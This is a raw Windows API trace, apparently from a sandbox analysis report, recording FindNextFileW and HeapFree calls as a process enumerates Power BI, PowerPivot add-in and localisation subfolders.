	[0143.957] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0143.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.960] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0143.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.963] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0143.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.966] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0143.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.969] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0143.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.972] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0143.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.976] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0143.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.987] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0143.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.992] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0144.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.182] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0144.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.184] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0144.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.186] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0144.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.189] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0144.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.191] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0144.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.193] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0144.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.195] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0144.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.198] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0144.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.201] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0144.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.203] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1
	[0144.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.206] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0144.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.209] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0144.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.266] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0144.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.271] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0144.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.274] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0144.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.278] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0144.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.281] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0144.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.285] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0144.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.289] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0144.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.292] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0144.292] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0144.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0144.292] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1
	[0144.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.302] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0144.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.380] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0144.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.399] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0144.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.409] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0144.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.412] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0144.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.415] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0144.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.418] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0144.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.420] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0144.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.421] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0144.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
